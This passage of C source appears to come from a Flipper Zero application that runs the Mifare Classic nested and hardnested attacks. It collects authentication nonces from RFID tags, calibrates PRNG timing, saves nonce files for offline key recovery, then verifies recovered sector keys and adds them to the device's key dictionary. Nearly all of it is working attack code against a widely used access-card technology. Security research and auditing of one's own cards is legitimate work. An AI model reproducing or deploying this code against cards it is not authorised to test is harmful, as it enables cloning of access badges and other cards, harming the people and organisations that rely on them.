  654. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  655. free(mf_data);
  656. mifare_nested_worker->callback(
  657. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  658. nfc_deactivate();
  659. }
  660. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  661. NonceList_t nonces;
  662. Storage* storage = furi_record_open(RECORD_STORAGE);
  663. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  664. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  665. FuriString* folder_path = furi_string_alloc();
  666. FuriHalNfcDevData data = {};
  667. nested_get_data(&data);
  668. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  669. uint64_t key = 0; // Found key for attack
  670. uint32_t found_key_type = 0;
  671. uint32_t key_block = 0;
  672. uint32_t sector_count = 0;
  673. uint32_t cuid = 0;
  674. furi_hal_nfc_activate_nfca(200, &cuid);
  675. FURI_LOG_I(TAG, "Running Hard Nested attack");
  676. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  677. mifare_nested_worker_write_uid_string(&data, tag_info);
  678. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  679. furi_string_free(tag_info);
  680. if(type == MfClassicType4k) {
  681. sector_count = 40;
  682. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  683. } else if(type == MfClassicType1k) {
  684. sector_count = 16;
  685. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  686. } else { // if(type == MfClassicTypeMini)
  687. sector_count = 5;
  688. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  689. }
  690. furi_string_set(folder_path, NESTED_FOLDER);
  691. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  692. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  693. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  694. furi_string_free(folder_path);
  695. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  696. !mifare_nested_worker_check_initial_keys(
  697. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  698. mifare_nested_worker->callback(
  699. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  700. nfc_deactivate();
  701. free(mf_data);
  702. free_nonces(&nonces, sector_count, 1);
  703. return;
  704. }
  705. FURI_LOG_I(
  706. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  707. FuriHalNfcTxRxContext tx_rx = {};
  708. nonces.tries = 1;
  709. nonces.hardnested_states = 0;
  710. nonces.sector_count = sector_count;
  711. mifare_nested_worker->context->nonces = &nonces;
  712. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  713. mifare_nested_worker->callback(
  714. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  715. for(uint8_t sector = 0; sector < sector_count &&
  716. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  717. sector++) {
  718. for(uint8_t key_type = 0;
  719. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  720. key_type++) {
  721. Nonces* info = nonces.nonces[sector][key_type][0];
  722. if(info->collected) {
  723. FURI_LOG_I(
  724. TAG,
  725. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  726. sector,
  727. mifare_nested_worker_get_block_by_sector(sector),
  728. key_type);
  729. info->skipped = true;
  730. nonces.nonces[sector][key_type][0] = info;
  731. mifare_nested_worker->context->nonces = &nonces;
  732. mifare_nested_worker->callback(
  733. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  734. continue;
  735. }
  736. if(!nested_check_block(
  737. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  738. FURI_LOG_E(
  739. TAG,
  740. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  741. sector,
  742. mifare_nested_worker_get_block_by_sector(sector),
  743. key_type);
  744. info->skipped = true;
  745. nonces.nonces[sector][key_type][0] = info;
  746. mifare_nested_worker->context->nonces = &nonces;
  747. mifare_nested_worker->callback(
  748. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  749. continue;
  750. }
  751. while(!info->collected &&
  752. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  753. Stream* file_stream = file_stream_alloc(storage);
  754. FuriString* hardnested_file = furi_string_alloc();
  755. mifare_nested_worker_get_hardnested_file_path(
  756. &data, hardnested_file, sector, key_type);
  757. file_stream_open(
  758. file_stream,
  759. furi_string_get_cstr(hardnested_file),
  760. FSAM_READ_WRITE,
  761. FSOM_CREATE_ALWAYS);
  762. FuriString* header = furi_string_alloc_printf(
  763. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  764. NESTED_NONCE_FORMAT_VERSION,
  765. NESTED_RECOVER_KEYS_GITHUB_LINK,
  766. !key_type ? 'A' : 'B',
  767. cuid,
  768. sector);
  769. stream_write_string(file_stream, header);
  770. furi_string_free(header);
  771. uint32_t first_byte_sum = 0;
  772. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  773. for(uint32_t i = 0; i < 256; i++) {
  774. found[i] = 0;
  775. }
  776. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  777. struct nonce_info_hard result = nested_hard_nonce_attack(
  778. &tx_rx,
  779. key_block,
  780. found_key_type,
  781. mifare_nested_worker_get_block_by_sector(sector),
  782. key_type,
  783. key,
  784. found,
  785. &first_byte_sum,
  786. file_stream);
  787. if(result.static_encrypted) {
  788. file_stream_close(file_stream);
  789. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  790. furi_string_free(hardnested_file);
  791. free(found);
  792. free(mf_data);
  793. nfc_deactivate();
  794. mifare_nested_worker->callback(
  795. MifareNestedWorkerEventStaticEncryptedNonce,
  796. mifare_nested_worker->context);
  797. return;
  798. }
  799. if(result.full) {
  800. uint32_t states = 0;
  801. for(uint32_t i = 0; i < 256; i++) {
  802. states += found[i];
  803. }
  804. nonces.hardnested_states = states;
  805. mifare_nested_worker->callback(
  806. MifareNestedWorkerEventHardnestedStatesFound,
  807. mifare_nested_worker->context);
  808. FURI_LOG_D(TAG, "Found states: %lu", states);
  809. if(states == 256) {
  810. FURI_LOG_D(
  811. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  812. bool valid = false;
  813. for(uint8_t i = 0; i < sizeof(sums); i++) {
  814. if(sums[i] == first_byte_sum) {
  815. valid = true;
  816. break;
  817. }
  818. }
  819. if(!valid) {
  820. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  821. break;
  822. }
  823. info->collected = true;
  824. info->hardnested = true;
  825. info->skipped = false;
  826. nonces.cuid = result.cuid;
  827. nonces.nonces[sector][key_type][0] = info;
  828. mifare_nested_worker->context->nonces = &nonces;
  829. mifare_nested_worker->callback(
  830. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  831. break;
  832. }
  833. } else {
  834. mifare_nested_worker->callback(
  835. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  836. }
  837. }
  838. free(found);
  839. furi_string_free(hardnested_file);
  840. file_stream_close(file_stream);
  841. }
  842. }
  843. }
  844. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  845. free(mf_data);
  846. mifare_nested_worker->callback(
  847. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  848. nfc_deactivate();
  849. }
  850. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  851. NonceList_t nonces;
  852. Storage* storage = furi_record_open(RECORD_STORAGE);
  853. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  854. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  855. FuriString* folder_path = furi_string_alloc();
  856. FuriHalNfcDevData data = {};
  857. nested_get_data(&data);
  858. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  859. uint64_t key = 0; // Found key for attack
  860. uint32_t found_key_type = 0;
  861. uint32_t key_block = 0;
  862. uint32_t sector_count = 0;
  863. uint32_t delay = 0;
  864. uint32_t distance = 0;
  865. uint32_t tries_count = 1;
  866. FURI_LOG_I(TAG, "Running Nested attack");
  867. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  868. mifare_nested_worker_write_uid_string(&data, tag_info);
  869. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  870. furi_string_free(tag_info);
  871. if(type == MfClassicType4k) {
  872. sector_count = 40;
  873. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  874. } else if(type == MfClassicType1k) {
  875. sector_count = 16;
  876. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  877. } else { // if(type == MfClassicTypeMini)
  878. sector_count = 5;
  879. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  880. }
  881. furi_string_set(folder_path, NESTED_FOLDER);
  882. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  883. furi_string_free(folder_path);
  884. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  885. !mifare_nested_worker_check_initial_keys(
  886. &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  887. mifare_nested_worker->callback(
  888. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  889. nfc_deactivate();
  890. free(mf_data);
  891. free_nonces(&nonces, sector_count, 3);
  892. return;
  893. }
  894. FURI_LOG_I(
  895. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  896. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  897. FuriHalNfcTxRxContext tx_rx = {};
  898. uint32_t first_distance = 0;
  899. uint32_t second_distance = 0;
  900. mifare_nested_worker->callback(
  901. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  902. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  903. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  904. first_distance =
  905. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  906. }
  907. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  908. second_distance =
  909. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  910. }
  911. if(first_distance == 0 && second_distance == 0) {
  912. nfc_deactivate();
  913. free(mf_data);
  914. free_nonces(&nonces, sector_count, 3);
  915. mifare_nested_worker_change_state(
  916. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  917. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  918. return;
  919. }
  920. if(first_distance < second_distance - 100 && second_distance > 100) {
  921. FURI_LOG_E(
  922. TAG,
  923. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  924. first_distance,
  925. second_distance);
  926. struct distance_info info =
  927. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  928. if(info.max_prng - info.min_prng > 150) {
  929. FURI_LOG_W(
  930. TAG,
  931. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  932. info.max_prng,
  933. info.min_prng,
  934. info.max_prng - info.min_prng);
  935. delay = 1;
  936. } else {
  937. FURI_LOG_I(
  938. TAG,
  939. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  940. distance =
  941. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  942. delay = 2;
  943. tries_count = 3;
  944. }
  945. }
  946. if(distance == 0 || delay == 1) {
  947. bool failed = false;
  948. // Tag need delay or unpredictable PRNG
  949. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  950. mifare_nested_worker->callback(
  951. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  952. delay = mifare_nested_worker_predict_delay(
  953. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  954. if(delay == 1) {
  955. FURI_LOG_E(TAG, "Can't determine delay");
  956. // Check that we didn't lost tag
  957. FuriHalNfcDevData lost_tag_data = {};
  958. nested_get_data(&lost_tag_data);
  959. if(lost_tag_data.uid_len == 0) {
  960. // We lost it.
  961. mifare_nested_worker->callback(
  962. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  963. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  964. lost_tag_data.cuid != data.cuid) {
  965. furi_delay_ms(250);
  966. nested_get_data(&lost_tag_data);
  967. }
  968. mifare_nested_worker->callback(
  969. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  970. continue;
  971. }
  972. failed = true;
  973. }
  974. if(delay == 2) {
  975. FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
  976. nfc_deactivate();
  977. free(mf_data);
  978. free_nonces(&nonces, sector_count, 3);
  979. mifare_nested_worker_change_state(
  980. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  981. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  982. return;
  983. }
  984. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  985. distance = nested_calibrate_distance(
  986. &tx_rx, key_block, found_key_type, key, delay, false);
  987. }
  988. if(distance == 0 && !failed) {
  989. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  990. failed = true;
  991. }
  992. if(failed) {
  993. nfc_deactivate();
  994. mifare_nested_worker->callback(
  995. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  996. free(mf_data);
  997. free_nonces(&nonces, sector_count, 3);
  998. return;
  999. }
  1000. tries_count = 3;
  1001. }
  1002. mifare_nested_worker->context->nonces = &nonces;
  1003. mifare_nested_worker->callback(
  1004. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1005. for(uint8_t tries = 0; tries < tries_count; tries++) {
  1006. for(uint8_t sector = 0; sector < sector_count; sector++) {
  1007. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  1008. Nonces* info = nonces.nonces[sector][key_type][tries];
  1009. if(info->collected) {
  1010. FURI_LOG_I(
  1011. TAG,
  1012. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  1013. sector,
  1014. mifare_nested_worker_get_block_by_sector(sector),
  1015. key_type);
  1016. info->skipped = true;
  1017. nonces.nonces[sector][key_type][tries] = info;
  1018. mifare_nested_worker->context->nonces = &nonces;
  1019. mifare_nested_worker->callback(
  1020. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1021. continue;
  1022. }
  1023. if(!nested_check_block(
  1024. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  1025. FURI_LOG_E(
  1026. TAG,
  1027. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  1028. sector,
  1029. mifare_nested_worker_get_block_by_sector(sector),
  1030. key_type);
  1031. info->skipped = true;
  1032. nonces.nonces[sector][key_type][0] = info;
  1033. mifare_nested_worker->context->nonces = &nonces;
  1034. mifare_nested_worker->callback(
  1035. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1036. continue;
  1037. }
  1038. while(!info->collected) {
  1039. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  1040. break;
  1041. }
  1042. struct nonce_info result = nested_attack(
  1043. &tx_rx,
  1044. key_block,
  1045. found_key_type,
  1046. mifare_nested_worker_get_block_by_sector(sector),
  1047. key_type,
  1048. key,
  1049. distance,
  1050. delay);
  1051. if(result.full) {
  1052. FURI_LOG_I(
  1053. TAG,
  1054. "Accured nonces for sector %u, block %u, key_type: %u",
  1055. sector,
  1056. mifare_nested_worker_get_block_by_sector(sector),
  1057. key_type);
  1058. info = nonces.nonces[sector][key_type][tries];
  1059. info->collected = true;
  1060. info->skipped = false;
  1061. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  1062. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  1063. memcpy(&info->parity, result.parity, sizeof(result.parity));
  1064. nonces.nonces[sector][key_type][tries] = info;
  1065. nonces.cuid = result.cuid;
  1066. nonces.sector_count = sector_count;
  1067. nonces.tries = tries_count;
  1068. mifare_nested_worker->context->nonces = &nonces;
  1069. mifare_nested_worker->callback(
  1070. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1071. break;
  1072. } else {
  1073. mifare_nested_worker->callback(
  1074. MifareNestedWorkerEventNoTagDetected,
  1075. mifare_nested_worker->context);
  1076. }
  1077. }
  1078. }
  1079. }
  1080. }
  1081. break;
  1082. }
  1083. mifare_nested_worker_write_nonces(
  1084. &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
  1085. free(mf_data);
  1086. mifare_nested_worker->callback(
  1087. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1088. nfc_deactivate();
  1089. }
  1090. bool* mifare_nested_worker_check_keys_exists(
  1091. Storage* storage,
  1092. char* path,
  1093. uint64_t* keys,
  1094. uint32_t key_count,
  1095. MifareNestedWorker* mifare_nested_worker) {
  1096. bool* old_keys = malloc(sizeof(bool) * key_count);
  1097. Stream* file_stream = file_stream_alloc(storage);
  1098. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1099. FuriString* key_strings[key_count];
  1100. for(uint32_t i = 0; i < key_count; i++) {
  1101. old_keys[i] = false;
  1102. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1103. }
  1104. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1105. FuriString* next_line = furi_string_alloc();
  1106. if(!stream_read_line(file_stream, next_line)) {
  1107. break;
  1108. }
  1109. for(uint32_t i = 0; i < key_count; i++) {
  1110. if(keys[i] == (uint64_t)-1) continue;
  1111. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1112. old_keys[i] = true;
  1113. }
  1114. }
  1115. furi_string_free(next_line);
  1116. }
  1117. for(uint32_t i = 0; i < key_count; i++) {
  1118. furi_string_free(key_strings[i]);
  1119. }
  1120. file_stream_close(file_stream);
  1121. free(file_stream);
  1122. return old_keys;
  1123. }
  1124. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1125. Stream* file_stream = file_stream_alloc(storage);
  1126. file_stream_open(
  1127. file_stream,
  1128. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1129. FSAM_READ_WRITE,
  1130. FSOM_OPEN_APPEND);
  1131. stream_write_string(file_stream, key);
  1132. file_stream_close(file_stream);
  1133. }
  1134. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1135. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1136. Storage* storage = furi_record_open(RECORD_STORAGE);
  1137. Stream* file_stream = file_stream_alloc(storage);
  1138. FuriString* next_line = furi_string_alloc();
  1139. FuriString* path = furi_string_alloc();
  1140. FuriHalNfcDevData data = {};
  1141. nested_get_data(&data);
  1142. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1143. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1144. FuriHalNfcTxRxContext tx_rx = {};
  1145. uint32_t key_count = 0;
  1146. uint32_t sector_key_count = 0;
  1147. uint64_t keys[80];
  1148. bool found_keys[2][40];
  1149. bool unique_keys[2][40];
  1150. uint32_t sector_count = 0;
  1151. if(type == MfClassicType4k) {
  1152. sector_count = 40;
  1153. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1154. } else if(type == MfClassicType1k) {
  1155. sector_count = 16;
  1156. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1157. } else { // if(type == MfClassicTypeMini)
  1158. sector_count = 5;
  1159. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1160. }
  1161. uint32_t keys_count = sector_count * 2;
  1162. for(uint8_t key = 0; key < 2; key++) {
  1163. for(uint8_t i = 0; i < sector_count; i++) {
  1164. found_keys[key][i] = false;
  1165. unique_keys[key][i] = false;
  1166. }
  1167. }
  1168. for(uint8_t i = 0; i < keys_count; i++) {
  1169. keys[i] = -1;
  1170. }
  1171. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1172. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1173. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1174. file_stream_close(file_stream);
  1175. mifare_nested_worker_get_nonces_file_path(&data, path);
  1176. if(!file_stream_open(
  1177. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1178. mifare_nested_worker->callback(
  1179. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1180. } else {
  1181. mifare_nested_worker->callback(
  1182. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1183. }
  1184. file_stream_close(file_stream);
  1185. free(file_stream);
  1186. furi_string_free(path);
  1187. furi_string_free(next_line);
  1188. furi_record_close(RECORD_STORAGE);
  1189. return;
  1190. };
  1191. while(true) {
  1192. if(!stream_read_line(file_stream, next_line)) {
  1193. break;
  1194. }
  1195. if(furi_string_start_with_str(next_line, "Key")) {
  1196. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1197. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1198. atoi((char[]){furi_string_get_char(next_line, 14)});
  1199. if(!unique_keys[key_type][sector]) {
  1200. unique_keys[key_type][sector] = true;
  1201. sector_key_count++;
  1202. }
  1203. }
  1204. key_count++;
  1205. }
  1206. stream_rewind(file_stream);
  1207. key_info->total_keys = key_count;
  1208. key_info->sector_keys = sector_key_count;
  1209. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1210. if(!stream_read_line(file_stream, next_line)) {
  1211. break;
  1212. }
  1213. if(furi_string_start_with_str(next_line, "Key")) {
  1214. // Key X sector XX: XX XX XX XX XX XX
  1215. // 0000000000111111111122222222223333
  1216. // 0123456789012345678901234567890123
  1217. uint8_t keyChar[6];
  1218. uint8_t count = 0;
  1219. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1220. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1221. atoi((char[]){furi_string_get_char(next_line, 14)});
  1222. for(uint8_t i = 17; i < 33; i += 3) {
  1223. hex_char_to_uint8(
  1224. furi_string_get_char(next_line, i),
  1225. furi_string_get_char(next_line, i + 1),
  1226. &keyChar[count]);
  1227. count++;
  1228. }
  1229. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1230. key_info->checked_keys++;
  1231. if(found_keys[key_type][sector]) {
  1232. mifare_nested_worker->callback(
  1233. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1234. continue;
  1235. }
  1236. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1237. result = nested_check_key(
  1238. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1239. if(result == NestedCheckKeyNoTag) {
  1240. mifare_nested_worker->callback(
  1241. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1242. furi_delay_ms(250);
  1243. } else {
  1244. break;
  1245. }
  1246. }
  1247. if(result == NestedCheckKeyValid) {
  1248. FURI_LOG_I(
  1249. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1250. bool exists = false;
  1251. for(uint8_t i = 0; i < keys_count; i++) {
  1252. if(keys[i] == key) {
  1253. exists = true;
  1254. }
  1255. }
  1256. if(!exists) {
  1257. keys[key_info->found_keys] = key;
  1258. }
  1259. key_info->found_keys++;
  1260. found_keys[key_type][sector] = true;
  1261. }
  1262. mifare_nested_worker->callback(
  1263. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1264. }
  1265. }
  1266. furi_string_free(next_line);
  1267. file_stream_close(file_stream);
  1268. free(file_stream);
  1269. mifare_nested_worker->callback(
  1270. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1271. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1272. storage,
  1273. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1274. keys,
  1275. keys_count,
  1276. mifare_nested_worker);
  1277. for(uint8_t i = 0; i < keys_count; i++) {
  1278. if(old_keys[i]) {
  1279. keys[i] = -1;
  1280. }
  1281. }
  1282. old_keys = mifare_nested_worker_check_keys_exists(
  1283. storage,
  1284. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1285. keys,
  1286. keys_count,
  1287. mifare_nested_worker);
  1288. for(uint8_t i = 0; i < keys_count; i++) {
  1289. if(old_keys[i]) {
  1290. keys[i] = -1;
  1291. }
  1292. }
  1293. for(uint8_t i = 0; i < keys_count; i++) {
  1294. if(keys[i] == (uint64_t)-1) continue;
  1295. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1296. mifare_nested_worker_write_key(storage, key_string);
  1297. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1298. key_info->added_keys++;
  1299. furi_string_free(key_string);
  1300. }
  1301. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1302. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1303. }
  1304. furi_record_close(RECORD_STORAGE);
  1305. furi_string_free(path);
  1306. mifare_nested_worker->callback(
  1307. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1308. return;
  1309. }